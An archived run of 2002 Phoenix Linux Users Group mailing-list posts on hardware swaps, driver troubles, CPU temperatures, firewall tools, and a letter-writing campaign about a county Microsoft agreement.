upgradeable by CD-R, hacked firmware available which disables Macrovision and region-coding, and one of them even has a CF slot so you can listen to MP3s or look at JPGs in that format as well as CD-R. I think that's the one I want to get for my wife's mom in Belarus. It also can convert NTSC to PAL and PAL to NTSC, and works on all voltages worldwide. I heard the SoundBlaster Live's Linux driver can handle multiple audio streams at once, so I think maybe I'll get one of those for my "master mixer" machine and then I can run artsd, esd and nasd all at the same time. But I still have to get kino to actually use one of them. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 09:28:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 16 Jun 2002 02:28:07 -0700 Subject: Spare video cards? Message-ID: <200206160228.07556.wokan@cox.net> I just got handed the leftovers from a friend's system upgrade. I've got just about everything needed for a working system except a video card. If anyone has any leftovers laying around from an upgrade, I'd appreciate it. The system only has AGP and PCI slots, so a really old ISA video card won't work. I live in Scottsdale now, so I'm generally asking people in the Eastern part of the valley. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 10:58:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 16 Jun 2002 03:58:00 -0700 (MST) Subject: Spare video cards? In-Reply-To: <200206160228.07556.wokan@cox.net> Message-ID: Am 16. Jun, 2002 schwätzte Digital Wokan so: > I just got handed the leftovers from a friend's system upgrade. I've got > just about everything needed for a working system except a video card. If > anyone has any leftovers laying around from an upgrade, I'd appreciate > it. The system only has AGP and PCI slots, so a really old ISA video card > won't work. I live in Scottsdale now, so I'm generally asking people in > the Eastern part of the valley. Hop to the swap meet at McDowell and Granite Reef tomorrow. Many people leave before 11:00 this time of year. Earl with Westech ( big white van and tons of old equipment ) will have stuff. It's probably $5 from him. Others will as well, but he always has boxes of cards. There will also be newer stuff for good prices as well. ciao, der.hans -- # https://www.LuftHans.com/ # "The reasons for my decision to quit were myriad, but central to the # decision ws the realization that there are two kinds of companies: # Good ones ask you to thnk for them. # The others tell you to think like them." -- Benjy Feen From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:04:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Sat, 15 Jun 2002 11:04:41 -0700 Subject: Saving a web site local In-Reply-To: <200206151750.g5FHof229001@PlugList.MyButt.Net> References: <200206151750.g5FHof229001@PlugList.MyButt.Net> Message-ID: <20020615110441.58b391d3.robert@kint.org> Alan: Check out the "wget" command. It probably does what you need to get done here. Bob. On Sat, 15 Jun 2002 10:50:41 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 10 > From: Alan Dayley > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Saving a web site local > Date: Sat, 15 Jun 2002 09:37:14 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > I want to save a web page and all the pages it links to (about 2 deep) > to my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > -- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 15:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (John Steele) Date: Sun, 16 Jun 2002 08:47:48 -0700 Subject: Has anyone any experience with "Guard Dog" Firewall Message-ID: <3D0CB324.3030700@qwest.net> I'm just learning the LINUX OS and I was wondering if anyone has used the firewall "Guard Dog" on a workstation that is hooked to the internet through an Ethernet router? I just want to learn a little about firewalls. I also have the Mandrake Client firewall software, but I'm not sure if it's beyond my understanding just now. John Steele From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:03:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 09:03:02 -0700 Subject: swapmeet Message-ID: <3D0CB6B6.F4D059E3@leml.asu.edu> I've been out of things... is there a swap meet today/this morning? I looked on the PLUG web page and saw nothing about it... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:10:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 16 Jun 2002 09:10:43 -0700 Subject: Emacs on RH 7.3 Message-ID: <1024243844.12004.23.camel@nabla.phx.viz> Is anyone else annoyed by the new GUI menu bar that emacs now places right under the text menu bar on a stock installation of Redhat 7.3? I have looked for a way to remove it, but have been unsuccessful so far. If anyone could tell me the magic incantation configuration setting that needs to be invoked, I would be very grateful. I really want that space back to display information. Thanks, -Gordon -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:45:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sun, 16 Jun 2002 09:45:59 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> Message-ID: <3D0CC0C7.926AC821@pop.phnx.uswest.net> Yup - as of 30 minutes ago it was still going on :-) "John (EBo) David" wrote: > > I've been out of things... > > is there a swap meet today/this morning? > > I looked on the PLUG web page and saw nothing about it... > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:51:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 09:51:54 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> Message-ID: <3D0CC22A.DBD77D3@leml.asu.edu> foodog wrote: > > Yup - as of 30 minutes ago it was still going on :-) ummmm... what are the directions? EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 17:13:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sun, 16 Jun 2002 10:13:16 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> <3D0CC22A.DBD77D3@leml.asu.edu> Message-ID: <3D0CC72C.3863C885@pop.phnx.uswest.net> McDowell & Granite Reef Rd. see: http://www.azweb.com/troop446/scoutmap.html "John (EBo) David" wrote: > > foodog wrote: > > > > Yup - as of 30 minutes ago it was still going on :-) > > ummmm... what are the directions? > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 17:34:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 10:34:48 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> <3D0CC22A.DBD77D3@leml.asu.edu> <3D0CC72C.3863C885@pop.phnx.uswest.net> Message-ID: <3D0CCC38.A5F98788@leml.asu.edu> foodog wrote: > > McDowell & Granite Reef Rd. see: > http://www.azweb.com/troop446/scoutmap.html cool thanks... I think I can *finally* break away... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 18:20:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 16 Jun 2002 11:20:23 -0700 Subject: Has anyone any experience with "Guard Dog" Firewall In-Reply-To: <3D0CB324.3030700@qwest.net> References: <3D0CB324.3030700@qwest.net> Message-ID: <200206161120.23007.dennisk@sahuaro.f2s.com> On Sunday 16 June 2002 08:47 am, John Steele wrote: > I'm just learning the LINUX OS and I was wondering if anyone has used > the firewall "Guard Dog" on a workstation that is hooked to the internet > through an Ethernet router? I just want to learn a little about > firewalls. I also have the Mandrake Client firewall software, but I'm > not sure if it's beyond my understanding just now. > John Steele Go download Smoothwall at www.smoothwall.org . A solid product! Download the documentation as well,. They have a very good basic TCP/IP Networking Guide. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 19:34:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 16 Jun 2002 12:34:22 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: <20020614211333.GA153@crystaldragon> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> Message-ID: <200206161234.26693.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am 14 Freitag Juni 2002 14:13 schrieb Thomas Mondoshawan Tate: > If Fry's won't "join up", give a shot at PC Computer Club on Southern and > Alma School (near Fiesta Mall and the B of A building). They're a small > enough company that exposure like what we could provide would be the > perfect ad campaign. I'd go and ask myself, but my time is rather limited > right now. There's another PC Club on Chandler and 48th street. South east side of the intersection. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9DOhBQ7yNnsYcupwRAt8AAKCWXT5OzcM0cXTnxcsRMgpfjGmvbgCgpkQW 9+uTXVjaJuJkje4o/tB4SGo= =eTiV -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 21:49:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Peter Buechler) Date: Sun, 16 Jun 2002 14:49:55 -0700 Subject: vncserver In-Reply-To: <20020615005640.93691.qmail@web11501.mail.yahoo.com> References: <20020615005640.93691.qmail@web11501.mail.yahoo.com> Message-ID: <200206161449.55851.peter.buechler@cox.net> Take another look at your ~/.vnc/xstartup file. That is the correct one. Make sure that you have the right path, etc. etc. On Friday 14 June 2002 17:56, Mark Astrauskas wrote: > This is just a quick question: How do I tell vncserver > which window manager to use? I've tried editing the > following files with no luck: > /etc/vnc.conf > ~/.vnc/xstartup > ~/.vncrc > > I have done it before, but now that I need to do it > again, I cannot figure it out. Anyone know where I > need to tell it? > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 01:10:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sun, 16 Jun 2002 18:10:55 -0700 Subject: Help Maricopa County Do the Right Thing In-Reply-To: References: <0206150802011X.08309@nova.wedge.org> Message-ID: <5.1.0.14.0.20020616180616.00a3fa80@localhost> I feel that each person that does write something, even if it's just to say " I am concerned, please hear me out ", can help make a difference. I wrote a rather direct email to all Supervisors. Although, polite in nature, I did ask if there would be a public hearing or a possible meeting whereby a dedicated group of people could attend to discuss the alternatives to vendors who break the law (Microsoft broke them all and then remade them all). I expect that we just may get an answer to our request if enough people ask to be heard. Expect the unexpected and you will never be unsure or afraid of the future. Kimi At 6/15/02, you wrote: >I wrote emails to everyone listed below. I encourage all of you to do the >same. This is an important moment for us to positively affect computing >in Maricopa County. Please write them and let them know you are >concerned. Be polite and stress that there are excellent alternatives >available. Go team, go! :-) >~M > > >On Sat, 15 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I have heard from a "reliable source" that the Maricopa County Council has > > decided not to automatically sign off on having the county sign an > Enterprise > > Agreement with Microsoft. The source said that people within the county IT > > organizations made their opinion known that the Enterprise Agreement might > > not be the best path for the county to blindly follow. > > > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > > contact your Maricopa County district council person and your city council > > people with some simple questions. > > > > a. Ask them if they plan to approve funding for the Enterprise > Agreement with > > the Microsoft Corporation? > > > > b. If they do plan to do so, ask them to provide you with a copy of the > > agreement and the dollar amount to be expended. > > > > c. Ask them when they will be hearing from the public on the budget, so if > > they are adopting an Enterprise Agreement with Microsoft, you can have your > > voice heard publicly. > > > > d. Ask they why do they do business with a vendor that has been > convicted of > > felony wrongdoings. > > . > > e. Ask them if they have they considered alternatives to Microsoft > products. > > > > I dont have city contact information but county contact information is as > > follows: > > > > Map To Find Your Council Person > > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > > > Council Contact Email > > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > > Dist 2 Don Stapley DStapley@mail.maricopa.gov > > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > > > Also I would cc: the County Administrator and Deputy County > > Administrator > > > > CAO: David Smith DSmith@mail.maricopa.gov > > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > - -- > > Jim > > > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > > cWg2GbQ9y1u85/ycX+Ko2+ss > > =GiK8 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 01:23:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sun, 16 Jun 2002 18:23:36 -0700 Subject: items for sale Message-ID: <5.1.0.14.0.20020616181121.00acd7f0@localhost> Although I have updated my ad on www.forsale.unitywave.com, it doesn't allow for the amount of items that I have to list. So here is the list: http://www.unitywave.com/~office/index.html it's in a decent printable form as well for those that want to print it. Call me with offers. Can someone please come get the whole lot? Pricing is pretty rock bottom, but I will take $225 for the whole lot. We do not deliver. I need the space in the next month, so if we cannot sell it here, it might be at the next swap meet or a garage sale in September. Kimi Adams Unity Wave 602-375-5363 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 02:50:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sun, 16 Jun 2002 19:50:04 -0700 Subject: Help Maricopa County Do the Right Thing In-Reply-To: <5.1.0.14.0.20020616180616.00a3fa80@localhost> References: <0206150802011X.08309@nova.wedge.org> <5.1.0.14.0.20020616180616.00a3fa80@localhost> Message-ID: <20020617025003.IIJC25007.fed1mtao01.cox.net@there> got an e-mail for the county board? Technomage On Sunday 16 June 2002 06:10 pm, you wrote: > I feel that each person that does write something, even if it's just to say > " I am concerned, please hear me out ", can help make a difference. > > I wrote a rather direct email to all Supervisors. Although, polite in > nature, I did ask if there would be a public hearing or a possible meeting > whereby a dedicated group of people could attend to discuss the > alternatives to vendors who break the law (Microsoft broke them all and > then remade them all). > > I expect that we just may get an answer to our request if enough people ask > to be heard. Expect the unexpected and you will never be unsure or afraid > of the future. > > Kimi > > At 6/15/02, you wrote: > >I wrote emails to everyone listed below. I encourage all of you to do the > >same. This is an important moment for us to positively affect computing > >in Maricopa County. Please write them and let them know you are > >concerned. Be polite and stress that there are excellent alternatives > >available. Go team, go! :-) > >~M > > > >On Sat, 15 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > I have heard from a "reliable source" that the Maricopa County Council > > > has decided not to automatically sign off on having the county sign an > > > > Enterprise > > > > > Agreement with Microsoft. The source said that people within the > > > county IT organizations made their opinion known that the Enterprise > > > Agreement might not be the best path for the county to blindly follow. > > > > > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > > > contact your Maricopa County district council person and your city > > > council people with some simple questions. > > > > > > a. Ask them if they plan to approve funding for the Enterprise > > > > Agreement with > > > > > the Microsoft Corporation? > > > > > > b. If they do plan to do so, ask them to provide you with a copy of the > > > agreement and the dollar amount to be expended. > > > > > > c. Ask them when they will be hearing from the public on the budget, so > > > if they are adopting an Enterprise Agreement with Microsoft, you can > > > have your voice heard publicly. > > > > > > d. Ask they why do they do business with a vendor that has been > > > > convicted of > > > > > felony wrongdoings. > > > . > > > e. Ask them if they have they considered alternatives to Microsoft > > > > products. > > > > > I dont have city contact information but county contact information is > > > as follows: > > > > > > Map To Find Your Council Person > > > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > > > > > Council Contact Email > > > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > > > Dist 2 Don Stapley DStapley@mail.maricopa.gov > > > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > > > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > > > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > > > > > Also I would cc: the County Administrator and Deputy County > > > Administrator > > > > > > CAO: David Smith DSmith@mail.maricopa.gov > > > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > > > cWg2GbQ9y1u85/ycX+Ko2+ss > > > =GiK8 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 02:03:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 16 Jun 2002 19:03:58 -0700 (MST) Subject: Problem with installing orinoco wireless card on linux. Message-ID: Hi, I am trying to get the Lucent/agere orinoco 802.11 gold 11mbps card working on my Linux box. I need to be able to get that fixed so that i can get to use Airsnort with WepCrack. I am currently using Redhat 7.2 with a custom 2.4.18 kernel build, the system is a desktop with a PCI bridge. I have disabled the kernel pcmcia and am instead using the pcmcia 3.1.33 package. I believe i have a problem with the orinoco card drivers or its configuration. It gives the error "Card Services release does not match!" I believe the driver compilation went fine as it gives 2 beeps one long and then a short one. Could somebody who has already done this or knows how to fix this help me out. Also please provide me with info on the configuration files to get this card working. Thanks in advance. -Sumanth. Attached below is some debug information. "pwd"-----------------> /installs/wireless/pcmcia-cs-3.1.33/debug-tools "./test_setup" ------> Current kernel: 2.4.18 #6 SMP Sat Jun 15 11:21:07 MST 2002 Module info from /lib/modules/2.4.18/pcmcia/pcmcia_core.o: "Linux PCMCIA Card Services 3.1.33 options: [pci] [cardbus] [apm] [pnp]" Startup options from /etc/sysconfig/pcmcia: PCMCIA=yes PCIC=i82365 PCIC_OPTS= CORE_OPTS= CARDMGR_OPTS= Checking current syslog files in /var/log: All PCMCIA messages are in /var/log/messages. Module status: No PCMCIA modules are loaded. Daemon status: cardmgr is running (process 2431) Current socket status from /var/lib/pcmcia/stab: Socket 0: empty Socket 1: Lucent Technologies WaveLAN/IEEE Adapter /installs/wireless/pcmcia-cs-3.1.33/cardmgr PCI bridge probe: Ricoh RL5C476 found, 2 sockets. info from /var/log/messages-------------> Jun 15 13:32:00 tech212work cardmgr[3208]: starting, version is 3.1.33 Jun 15 13:32:00 tech212work cardmgr[3208]: socket 1: Lucent Technologies WaveLAN/IEEE Adapter Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe hermes' Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe orinoco' Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe orinoco_cs' Jun 15 13:32:00 tech212work kernel: orinoco_cs: Card Services release does not match! Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: init_module: Invalid argument Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: insmod /lib/modules/2.4.18/pcmcia/orinoco_cs.o failed Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: insmod orinoco_cs failed Jun 15 13:32:00 tech212work cardmgr[3208]: + Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters Jun 15 13:32:00 tech212work cardmgr[3208]: modprobe exited with status 255 Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'insmod /lib/modules/2.4.18/pcmcia/orinoco_cs.o' Jun 15 13:32:00 tech212work kernel: orinoco_cs: Card Services release does not match! Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: init_module: Invalid argument Jun 15 13:32:00 tech212work cardmgr[3208]: + Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters Jun 15 13:32:00 tech212work cardmgr[3208]: insmod exited with status 1 Jun 15 13:32:01 tech212work cardmgr[3208]: get dev info on socket 1 failed: Resource temporarily unavailable Jun 15 13:32:01 tech212work cardmgr[3208]: wrong module 'orinoco_cs' for device 'orinoco_cs'? Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r orinoco_cs' Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r orinoco' Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r hermes' Sumanth Varma ECET,CTAS, ASU East. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 04:44:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Sun, 16 Jun 2002 21:44:44 -0700 (PDT) Subject: SMP problem Message-ID: <20020617044444.66586.qmail@web11508.mail.yahoo.com> I have a system running a Tyan Tiger 133 with 2 P3/700's. It ran fine until yesterday. I swapped the power supply for a 300w, and now after its done booting and loading it simply continously scrolls: "APIC error on CPU1: 08(08)" What exactly is causing this? I do not have a spare PSU for it at the moment to swap out again. Is it possibly the power supply is bad, or what? Anything else it might be. -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 05:26:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sun, 16 Jun 2002 22:26:42 -0700 Subject: SMP problem References: <20020617044444.66586.qmail@web11508.mail.yahoo.com> Message-ID: <3D0D7312.1ECCB694@qwest.net> What was the power rating of the old PS that got replaced? Mark Astrauskas wrote: > > I have a system running a Tyan Tiger 133 with 2 > P3/700's. It ran fine until yesterday. I swapped the > power supply for a 300w, and now after its done > booting and loading it simply continously scrolls: > "APIC error on CPU1: 08(08)" What exactly is causing > this? I do not have a spare PSU for it at the moment > to swap out again. Is it possibly the power supply is > bad, or what? Anything else it might be. > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 11:26:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 07:26:44 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: <3D0DC774.EEC22736@georgetoft.com> Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 16:45:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Mon, 17 Jun 2002 12:45:10 -0400 Subject: Need Help with Redhat 7.3 Install Message-ID: <20020617164510.JUSY3097.lakemtao02.cox.net@smtp.east.cox.net> I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! Thanks! Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 16:52:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Mon, 17 Jun 2002 09:52:42 -0700 (PDT) Subject: SMP problem In-Reply-To: <3D0D7312.1ECCB694@qwest.net> Message-ID: <20020617165242.4460.qmail@web11507.mail.yahoo.com> > What was the power rating of the old PS that got > replaced? Both the new and old ones were 300w. I just swapped them because I needed the physically smaller one that was originally in the system for a specific job. -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:04:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 13:04:51 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. 